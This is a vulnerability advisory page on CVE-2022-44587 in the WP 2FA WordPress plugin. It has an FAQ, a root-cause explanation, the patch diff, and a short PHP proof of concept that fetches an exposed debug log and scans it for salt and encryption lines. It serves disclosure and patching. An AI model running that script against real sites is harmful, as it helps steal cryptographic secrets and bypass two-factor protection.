What is CVE-2022-44587?

CVE-2022-44587 is a medium-severity vulnerability in the WP 2FA plugin for WordPress, affecting versions up to and including 2.6.3. It allows unauthenticated attackers to access sensitive information through publicly exposed log files, potentially including encryption keys and salt values.

How does the vulnerability work?

The plugin’s Debugging class logs sensitive data during encryption operations, such as plaintext, salt, and encrypted text. These logs are stored in publicly accessible directories, like /wp-content/uploads/wp-2fa-logs/, and can be retrieved via direct HTTP requests without authentication.

What information can be exposed?

The exposed logs may contain the WordPress salt (wp_salt()) and encrypted strings, such as 2FA backup codes. With this data, an attacker could potentially decrypt sensitive information or bypass two-factor authentication, undermining the security of user accounts.

Who is affected by this vulnerability?

All WordPress sites running WP 2FA version 2.6.3 or earlier are affected. Users who have enabled the plugin’s logging feature are at risk, as the logs are only generated when debugging is active.

How can I check if my site is vulnerable?

Check the WP 2FA plugin version in the WordPress admin dashboard under Plugins. If it is 2.6.3 or lower, your site is vulnerable. Additionally, you can attempt to access the log file path (e.g., /wp-content/uploads/wp-2fa-logs/debug.log) to see if it exists and contains sensitive data.

What is the CVSS score and what does it mean?

The CVSS score is 5.3, which is considered medium severity. This indicates that the vulnerability has a moderate impact on confidentiality, but does not directly affect integrity or availability. However, the exposure of cryptographic material can have severe downstream consequences.

How was the vulnerability fixed?

The patch, released in version 2.6.4, removes the Debugging::log() calls from the encrypt() method in class-open-ssl.php. This prevents the logging of plaintext, salt, and encrypted data, eliminating the public exposure of sensitive information.

What should I do to mitigate the risk?

Update the WP 2FA plugin to version 2.6.4 or later as soon as possible. Additionally, if you have existing log files, delete them from the server to prevent any ongoing exposure. Review server access logs for any suspicious requests to the log file path.

Is there a proof of concept available?

Yes, a proof of concept (PoC) is available that demonstrates how an attacker can send a simple GET request to the log file URL and retrieve its contents. The PoC checks for specific patterns like ‘Encrypting a text:’ to confirm the presence of sensitive data.

What are the practical risks for my WordPress site?

If exploited, an attacker could obtain encryption keys and salt values, potentially decrypting 2FA backup codes or other sensitive data. This could lead to account takeover and unauthorized access, especially if the attacker also has other credentials.

Are there any other vulnerabilities in the same version?

The 2.6.4 update also includes fixes for other issues, such as switching to constant-time comparison for TOTP codes and standardizing default email generation. While these are not directly related to CVE-2022-44587, they improve overall security.

How can I prevent similar issues in the future?

Regularly update all plugins to the latest versions, disable debug logging in production environments, and monitor for any publicly accessible files in the uploads directory. Additionally, use a web application firewall to block direct access to sensitive files.

Published : August 28, 2026

CVE-2022-44587: WP 2FA <= 2.6.3 Unauthenticated Information Exposure via Log File PoC, Patch Analysis & Rule

CVE ID CVE-2022-44587

Plugin wp-2fa

Severity Medium (CVSS 5.3)

CWE 532

Vulnerable Version 2.6.3

Patched Version 2.6.4

Disclosed June 19, 2024

Analysis Overview

Atomic Edge analysis of CVE-2022-44587:
This vulnerability in the WP 2FA – Two-factor authentication for WordPress plugin (versions up to and including 2.6.3) allows unauthenticated attackers to view sensitive information through publicly exposed log files. The plugin’s logging mechanism writes debug messages to files that are accessible without authentication, leaking internal data such as encryption keys and salt values. The CVSS score is 5.3 (medium), but the exposure of cryptographic material can severely undermine the plugin’s security.

Root Cause:
The root cause lies in the Debugging class, which logs sensitive data during encryption operations. In includes/classes/Authenticator/class-open-ssl.php, the encrypt() method (lines 53-68) uses Debugging::log() to record the plaintext text, the salt used for encryption, and the resulting encrypted text. These log entries are written to files under the uploads directory or similar, which are publicly accessible via direct HTTP requests. The logs include the WordPress salt (wp_salt()) and the fully encrypted base64 string, allowing an attacker to potentially derive the encryption key or decrypt sensitive data. The patch removes these logging calls, preventing the exposure of plaintext and secret material.

Exploitation:
An attacker can directly request the log files generated by the plugin. The logs are stored in a predictable path, for example `/wp-content/uploads/wp-2fa-logs/` or a similar directory. By sending a GET request to the log file (e.g., `https://target.com/wp-content/uploads/wp-2fa-logs/debug.log`), the attacker retrieves the file contents without authentication. No special parameters or nonces are required; the vulnerability is a simple information disclosure. The attacker can then parse the logs for lines containing ‘Encrypting a text:’, ‘Will use the following salt:’, and ‘Encrypted text:’. With the salt and the encrypted text, they can attempt to decrypt the 2FA codes or other sensitive data.

Patch Analysis:
The patch (version 2.6.4) removes three Debugging::log() calls from the encrypt() method in class-open-ssl.php. The before behavior wrote plaintext, salt, and encrypted output to log files. The after behavior no longer logs any encryption-related data. This eliminates the public exposure of cryptographic material. Additionally, the patch includes other changes, such as switching to a constant-time comparison (hash_equals()) for TOTP codes and standardizing the default email generation, but those are unrelated to this vulnerability. The core fix is the removal of the log statements.

Impact:
If exploited, an unauthenticated attacker can access the log files and extract sensitive information, including the WordPress salt and encrypted 2FA backup codes or other secrets. With the salt, an attacker could potentially decrypt the encrypted data if they also gain access to the encrypted strings. Although the immediate impact is information disclosure, the exposed cryptographic keying material could facilitate further attacks, such as decrypting authentication tokens or bypassing 2FA. This undermines the confidentiality and integrity of the authentication mechanism.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/wp-2fa/includes/classes/Admin/Methods/class-backup-codes.php
+++ b/wp-2fa/includes/classes/Admin/Methods/class-backup-codes.php
@@ -312,7 +312,7 @@
 			$backup_codes = get_user_meta( $user->ID, self::BACKUP_CODES_META_KEY, true );
 			if ( is_array( $backup_codes ) && ! empty( $backup_codes ) ) {
 				foreach ( $backup_codes as $code_hashed ) {
-					if ( wp_check_password( $code, $code_hashed, $user->ID ) ) {
+					if ( wp_check_password( $code, $code_hashed, $user->ID ) ) {
 						self::delete_code( $user, $code_hashed );
 						self::clear_login_attempts( $user );

@@ -342,7 +342,7 @@
 			$backup_codes = array_values( array_flip( $backup_codes ) );

 			// Update the backup code master list.
-			update_user_meta( $user->ID, self::BACKUP_CODES_META_KEY, $backup_codes );
+			update_user_meta( $user->ID, self::BACKUP_CODES_META_KEY, $backup_codes );
 		}

 		/**
@@ -571,7 +571,7 @@

 				foreach ( $posted_codes as $key => $check_code ) {
 					$check_code = trim( explode( ':', $check_code )[1] );
-					if ( ! wp_check_password( $check_code, $stored_codes[ $key ], $user->ID ) ) {
+					if ( ! wp_check_password( $check_code, $stored_codes[ $key ], $user->ID ) ) {

 						wp_die();
 					}
--- a/wp-2fa/includes/classes/Admin/SettingsPages/class-settings-page-email.php
+++ b/wp-2fa/includes/classes/Admin/SettingsPages/class-settings-page-email.php
@@ -17,6 +17,7 @@
 use WP2FAAdminHelpersWP_Helper;
 use WP2FAAdminControllersSettings;
 use WP2FAUtilsSettings_Utils;
+use WP2FAAdminSettings_Page;

 /**
  * Email settings tab
@@ -112,7 +113,7 @@
 								<input type="radio" name="email_from_setting" id="use-defaults" value="use-defaults"
 								<?php checked( WP2FA::get_wp2fa_email_templates( 'email_from_setting' ), 'use-defaults' ); ?>
 								>
-							<span><?php esc_html_e( 'Use the email address from the WordPress general settings.', 'wp-2fa' ); ?></span>
+							<span><?php esc_html_e( 'Use the email address ', 'wp-2fa' ) ?> <?php echo Settings_Page::get_default_email_address(); ?></span>
 							</label>
 							<br/>
 							<label for="use-custom-email">
--- a/wp-2fa/includes/classes/Admin/Views/class-wizard-steps.php
+++ b/wp-2fa/includes/classes/Admin/Views/class-wizard-steps.php
@@ -307,16 +307,24 @@
 				self::congratulations_step_plugin_wizard();
 				return;
 			}
+
+			$redirect = ( '' !== self::determine_redirect_url() ) ? self::determine_redirect_url() : '';
 			?>

-		<div class="step-setting-wrapper active">
-		<div class="mb-20">
-			<?php echo wp_kses_post( WP2FA::get_wp2fa_white_label_setting( 'no_further_action', true ) ); ?>
-		</div>
-		<div class="wp2fa-setup-actions">
-			<button class="modal__btn wp-2fa-button-secondary button" data-close-2fa-modal aria-label="Close this dialog window"><?php esc_html_e( 'Close wizard', 'wp-2fa' ); ?></button>
-		</div>
-		</div>
+			<div class="step-setting-wrapper active">
+			<div class="mb-20">
+				<?php echo wp_kses_post( WP2FA::get_wp2fa_white_label_setting( 'no_further_action', true ) ); ?>
+			</div>
+			<div class="wp2fa-setup-actions">
+				<?php if ( '' !== trim( $redirect ) ) { ?>
+				<a href="<?php echo esc_url( $redirect ); ?>" class="button button-secondary wp-2fa-button-secondary close-first-time-wizard">
+						<?php esc_html_e( 'Close wizard', 'wp-2fa' ); ?>
+				</a>
+				<?php } else { ?>
+				<button class="modal__btn wp-2fa-button-secondary button" data-close-2fa-modal aria-label="Close this dialog window"><?php esc_html_e( 'Close wizard', 'wp-2fa' ); ?></button>
+				<?php } ?>
+			</div>
+			</div>
 			<?php
 		}

@@ -331,30 +339,30 @@
 			$redirect    = ( '' !== self::determine_redirect_url() ) ? self::determine_redirect_url() : get_edit_profile_url( User_Helper::get_user_object()->ID );
 			$slide_title = ( User_Helper::is_excluded( User_Helper::get_user_object()->ID ) ) ? esc_html__( 'Congratulations.', 'wp-2fa' ) : esc_html__( 'Congratulations, you're almost there...', 'wp-2fa' );
 			?>
-		<h3><?php echo esc_html( $slide_title ); ?></h3>
-		<p><?php esc_html_e( 'Great job, the plugin and 2FA policies are now configured. You can always change the plugin settings and 2FA policies at a later stage from the WP 2FA entry in the WordPress menu.', 'wp-2fa' ); ?></p>
+				<h3><?php echo esc_html( $slide_title ); ?></h3>
+				<p><?php esc_html_e( 'Great job, the plugin and 2FA policies are now configured. You can always change the plugin settings and 2FA policies at a later stage from the WP 2FA entry in the WordPress menu.', 'wp-2fa' ); ?></p>

-			<?php
-			if ( User_Helper::is_excluded( User_Helper::get_user_object()->ID ) ) {
-				?>
-		<div class="wp2fa-setup-actions">
-			<a href="<?php echo esc_url( $redirect ); ?>" class="button button-secondary wp-2fa-button-secondary close-first-time-wizard">
-					<?php esc_html_e( 'Close wizard', 'wp-2fa' ); ?>
-			</a>
-		</div>
-				<?php
-			} else {
-				?>
-		<p><?php esc_html_e( 'Now you need to configure 2FA for your own user account. You can do this now (recommended) or later.', 'wp-2fa' ); ?></p>
-		<div class="wp2fa-setup-actions">
-			<a href="<?php echo esc_url( Settings::get_setup_page_link() ); ?>" class="button button-primary wp-2fa-button-secondary">
-				<?php esc_html_e( 'Configure 2FA now', 'wp-2fa' ); ?>
-			</a>
-			<a href="<?php echo esc_url( Settings::get_settings_page_link() ); ?>" class="button button-secondary wp-2fa-button-secondary close-first-time-wizard">
-				<?php esc_html_e( 'Close wizard & configure 2FA later', 'wp-2fa' ); ?>
-			</a>
-		</div>
-			<?php } ?>
+					<?php
+					if ( User_Helper::is_excluded( User_Helper::get_user_object()->ID ) ) {
+						?>
+				<div class="wp2fa-setup-actions">
+					<a href="<?php echo esc_url( $redirect ); ?>" class="button button-secondary wp-2fa-button-secondary close-first-time-wizard">
+							<?php esc_html_e( 'Close wizard', 'wp-2fa' ); ?>
+					</a>
+				</div>
+						<?php
+					} else {
+						?>
+				<p><?php esc_html_e( 'Now you need to configure 2FA for your own user account. You can do this now (recommended) or later.', 'wp-2fa' ); ?></p>
+				<div class="wp2fa-setup-actions">
+					<a href="<?php echo esc_url( Settings::get_setup_page_link() ); ?>" class="button button-primary wp-2fa-button-secondary">
+						<?php esc_html_e( 'Configure 2FA now', 'wp-2fa' ); ?>
+					</a>
+					<a href="<?php echo esc_url( Settings::get_settings_page_link() ); ?>" class="button button-secondary wp-2fa-button-secondary close-first-time-wizard">
+						<?php esc_html_e( 'Close wizard & configure 2FA later', 'wp-2fa' ); ?>
+					</a>
+				</div>
+					<?php } ?>
 			<?php
 		}

--- a/wp-2fa/includes/classes/Admin/class-settings-page.php
+++ b/wp-2fa/includes/classes/Admin/class-settings-page.php
@@ -410,7 +410,9 @@
 			if ( 'use-custom-email' === WP2FA::get_wp2fa_email_templates( 'email_from_setting' ) ) {
 				$headers .= 'From: ' . WP2FA::get_wp2fa_email_templates( 'custom_from_display_name' ) . ' <' . WP2FA::get_wp2fa_email_templates( 'custom_from_email_address' ) . '>' . "rn";
 			} else {
-				$headers .= 'From: ' . get_bloginfo( 'name' ) . ' <' . get_bloginfo( 'admin_email' ) . '>' . "rn";
+
+				$headers .= 'From: wp2fa <' . self::get_default_email_address() . '>' . "rn";
+				// $headers .= 'From: ' . get_bloginfo( 'name' ) . ' <' . get_bloginfo( 'admin_email' ) . '>' . "rn";
 			}

 			// Fire our email.
@@ -418,6 +420,28 @@
 		}

 		/**
+		 * Builds and returns the default email address used for the "from" email address when email is send
+		 *
+		 * @return string
+		 *
+		 * @since 2.6.4
+		 */
+		public static function get_default_email_address(): string {
+			$sitename   = wp_parse_url( network_home_url(), PHP_URL_HOST );
+			$from_email = 'wp2fa@';
+
+			if ( null !== $sitename ) {
+				if ( str_starts_with( $sitename, 'www.' ) ) {
+					$sitename = substr( $sitename, 4 );
+				}
+
+				$from_email .= $sitename;
+			}
+
+			return $from_email;
+		}
+
+		/**
 		 * Turns user roles data in any form and shape to an array of strings.
 		 *
 		 * @param mixed $value User role names (slugs) as raw value.
@@ -462,17 +486,12 @@
 		public static function check_email() {
 			$is_dismissed = (bool) Settings_Utils::get_option( 'dismiss_notice_mail_domain', false );
 			if ( ! $is_dismissed ) {
-				$admin_email = get_option( 'admin_email' );
-
+				$admin_email = null;
 				if ( 'use-custom-email' === WP2FA::get_wp2fa_email_templates( 'email_from_setting' ) ) {
 					$admin_email = WP2FA::get_wp2fa_email_templates( 'custom_from_email_address' );
 				}
-				$site_url    = get_site_url();
-
-				$email_domain = WP_Helper::extract_domain( $admin_email );
-				$site_domain  = WP_Helper::extract_domain( $site_url );

-				if ( $email_domain !== $site_domain ) {
+				if ( '' === trim( (string) $admin_email ) ) {
 					$email_settings_url = esc_url(
 						add_query_arg(
 							array(
@@ -483,17 +502,17 @@
 						)
 					);
 					?>
-				<div class="notice notice-error">
-					<p><?php esc_html_e( 'By default, the plugin uses the Administrator's email address as configured in WordPress settings as the "from address" when sending emails with the 2FA code for users to log in. This email address is currently configured as: ', 'wp-2fa' ); ?><b><?php echo $admin_email; ?>.</b></p>
-					<p>
-						<a href="<?php echo esc_url( $email_settings_url ); ?>"><?php esc_html_e( 'Configure email address now', 'wp-2fa' ); ?></a>
-						<a href="#" class="2fa-email-notice" style="margin-left:10px;">
-							<?php esc_html_e( 'Use the Administrator's email address.', 'wp-2fa' ); ?>
-						</a>
-					</p>
-
-					<?php wp_nonce_field( 'wp2fa_dismiss_notice_mail_domain', 'wp2fa_dismiss_notice_mail_domain', false ); ?>
-				</div>
+					<div class="notice notice-error">
+						<p style="font-size: 2em;"><?php esc_html_e( 'By default, the plugin uses ', 'wp-2fa' ); ?> <b><?php echo self::get_default_email_address(); ?></b> <?php esc_html_e( 'as the "from address" when sending emails with the 2FA code for users to log in. Do you want to keep using this or change it?', 'wp-2fa' ); ?></p>
+						<p>
+							<a style="font-size: 1.7em;" href="<?php echo esc_url( $email_settings_url ); ?>"><?php esc_html_e( 'Change it', 'wp-2fa' ); ?></a>
+							<a style="margin-left:20px;font-size: 1.7em;" href="#" class="2fa-email-notice">
+								<?php esc_html_e( 'Keep using it', 'wp-2fa' ); ?>
+							</a>
+						</p>
+
+						<?php wp_nonce_field( 'wp2fa_dismiss_notice_mail_domain', 'wp2fa_dismiss_notice_mail_domain', false ); ?>
+					</div>
 					<?php
 				} else {
 					Settings_Utils::update_option( 'dismiss_notice_mail_domain', true );
--- a/wp-2fa/includes/classes/Authenticator/class-authentication.php
+++ b/wp-2fa/includes/classes/Authenticator/class-authentication.php
@@ -224,7 +224,7 @@
 			foreach ( $ticks as $offset ) {
 				$log_time    = $time + $offset;
 				$calculdated = (string) self::calc_totp( $key, $log_time );
-				if ( $calculdated === $authcode ) {
+				if ( hash_equals( $calculdated, $authcode ) ) {
 					return true;
 				}
 			}
@@ -359,7 +359,7 @@
 		 * @param string|array $chars Valid auth code characters.
 		 * @return string
 		 */
-		public static function get_code( $length = 8, $chars = '1234567890' ) {
+		public static function get_code( $length = 6, $chars = '1234567890' ) {
 			$code = '';
 			if ( is_array( $chars ) ) {
 				$chars = implode( '', $chars );
--- a/wp-2fa/includes/classes/Authenticator/class-open-ssl.php
+++ b/wp-2fa/includes/classes/Authenticator/class-open-ssl.php
@@ -53,8 +53,6 @@
 		 * @since 2.0.0
 		 */
 		public static function encrypt( string $text ): string {
-			Debugging::log( 'Encrypting a text: ' . $text );
-			Debugging::log( 'Will use the following salt: ' . wp_salt() );
 			if ( self::is_ssl_available() ) {
 				$iv   = self::secure_random( self::BLOCK_BYTE_SIZE );
 				$key  = openssl_digest( base64_decode( wp_salt() ), self::DIGEST_ALGORITHM, true ); //phpcs:ignore
@@ -68,7 +66,6 @@

 				$text = base64_encode( $iv . $text ); //phpcs:ignore
 			}
-			Debugging::log( 'Encrypted text: ' . $text );

 			return $text;
 		}
--- a/wp-2fa/vendor/autoload.php
+++ b/wp-2fa/vendor/autoload.php
@@ -22,4 +22,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit3077::getLoader();
+return ComposerAutoloaderInit12205::getLoader();
--- a/wp-2fa/vendor/composer/autoload_real.php
+++ b/wp-2fa/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit3077
+class ComposerAutoloaderInit12205
 {
     private static $loader;

@@ -24,16 +24,16 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit3077', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit12205', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit3077', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit12205', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit3077::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInit12205::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInit3077::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInit12205::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/wp-2fa/vendor/composer/autoload_static.php
+++ b/wp-2fa/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit3077
+class ComposerStaticInit12205
 {
     public static $files = array (
         'a9ed0d27b5a698798a89181429f162c5' => __DIR__ . '/..' . '/khanamiryan/qrcode-detector-decoder/lib/Common/customFunctions.php',
@@ -168,9 +168,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit3077::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit3077::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit3077::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit12205::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit12205::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit12205::$classMap;

         }, null, ClassLoader::class);
     }
--- a/wp-2fa/wp-2fa.php
+++ b/wp-2fa/wp-2fa.php
@@ -7,7 +7,7 @@
  *
  * @wordpress-plugin
  * Plugin Name: WP 2FA - Two-factor authentication for WordPress
- * Version:     2.6.3
+ * Version:     2.6.4
  * Plugin URI:  https://melapress.com/
  * Description: Easily add an additional layer of security to your WordPress login pages. Enable Two-Factor Authentication for you and all your website users with this easy to use plugin.
  * Author:      Melapress
@@ -54,7 +54,7 @@

 // Useful global constants.
 if ( ! defined( 'WP_2FA_VERSION' ) ) {
-	define( 'WP_2FA_VERSION', '2.6.3' );
+	define( 'WP_2FA_VERSION', '2.6.4' );
 	define( 'WP_2FA_BASE', plugin_basename( __FILE__ ) );
 	define( 'WP_2FA_URL', plugin_dir_url( __FILE__ ) );
 	define( 'WP_2FA_PATH', WP_PLUGIN_DIR . DIRECTORY_SEPARATOR . dirname( WP_2FA_BASE ) . DIRECTORY_SEPARATOR );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2022-44587 - WP 2FA <= 2.6.3 - Unauthenticated Information Exposure via Log File

// Configurable target URL and log file path
$target_url = 'https://example.com';
$log_file_path = '/wp-content/uploads/wp-2fa-logs/debug.log'; // Adjust based on actual log location

// Initialize cURL
$ch = curl_init();

// Set options for GET request to the log file
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . $log_file_path,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false, // Disable peer verification for testing
]);

// Execute request and capture response
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Close cURL
curl_close($ch);

// Check if the request was successful and the response contains sensitive data
if ($http_code === 200 && !empty($response)) {
    // Look for encryption logs
    if (preg_match('/Encrypting a text:|Will use the following salt:|Encrypted text:/', $response)) {
        echo "[+] Log file exposed!n";
        echo "[+] HTTP Status: $http_coden";
        echo "[+] Log contents (first 500 characters):n" . substr($response, 0, 500) . "n";
    } else {
        echo "[-] Request succeeded but no encryption logs found.n";
    }
} else {
    echo "[-] Failed to retrieve log file. HTTP Status: $http_coden";
}

Frequently Asked Questions

What is CVE-2022-44587?
Vulnerability overview
CVE-2022-44587 is a medium-severity vulnerability in the WP 2FA plugin for WordPress, affecting versions up to and including 2.6.3. It allows unauthenticated attackers to access sensitive information through publicly exposed log files, potentially including encryption keys and salt values.
How does the vulnerability work?
Technical explanation
The plugin’s Debugging class logs sensitive data during encryption operations, such as plaintext, salt, and encrypted text. These logs are stored in publicly accessible directories, like /wp-content/uploads/wp-2fa-logs/, and can be retrieved via direct HTTP requests without authentication.
What information can be exposed?
Impact of information disclosure
The exposed logs may contain the WordPress salt (wp_salt()) and encrypted strings, such as 2FA backup codes. With this data, an attacker could potentially decrypt sensitive information or bypass two-factor authentication, undermining the security of user accounts.
Who is affected by this vulnerability?
Affected versions and users
All WordPress sites running WP 2FA version 2.6.3 or earlier are affected. Users who have enabled the plugin’s logging feature are at risk, as the logs are only generated when debugging is active.
How can I check if my site is vulnerable?
Detection methods
Check the WP 2FA plugin version in the WordPress admin dashboard under Plugins. If it is 2.6.3 or lower, your site is vulnerable. Additionally, you can attempt to access the log file path (e.g., /wp-content/uploads/wp-2fa-logs/debug.log) to see if it exists and contains sensitive data.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 5.3, which is considered medium severity. This indicates that the vulnerability has a moderate impact on confidentiality, but does not directly affect integrity or availability. However, the exposure of cryptographic material can have severe downstream consequences.
How was the vulnerability fixed?
Patch details
The patch, released in version 2.6.4, removes the Debugging::log() calls from the encrypt() method in class-open-ssl.php. This prevents the logging of plaintext, salt, and encrypted data, eliminating the public exposure of sensitive information.
What should I do to mitigate the risk?
Immediate actions
Update the WP 2FA plugin to version 2.6.4 or later as soon as possible. Additionally, if you have existing log files, delete them from the server to prevent any ongoing exposure. Review server access logs for any suspicious requests to the log file path.
Is there a proof of concept available?
PoC demonstration
Yes, a proof of concept (PoC) is available that demonstrates how an attacker can send a simple GET request to the log file URL and retrieve its contents. The PoC checks for specific patterns like ‘Encrypting a text:’ to confirm the presence of sensitive data.
What are the practical risks for my WordPress site?
Real-world impact
If exploited, an attacker could obtain encryption keys and salt values, potentially decrypting 2FA backup codes or other sensitive data. This could lead to account takeover and unauthorized access, especially if the attacker also has other credentials.
Are there any other vulnerabilities in the same version?
Additional patches in 2.6.4
The 2.6.4 update also includes fixes for other issues, such as switching to constant-time comparison for TOTP codes and standardizing default email generation. While these are not directly related to CVE-2022-44587, they improve overall security.
How can I prevent similar issues in the future?
Best practices
Regularly update all plugins to the latest versions, disable debug logging in production environments, and monitor for any publicly accessible files in the uploads directory. Additionally, use a web application firewall to block direct access to sensitive files.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started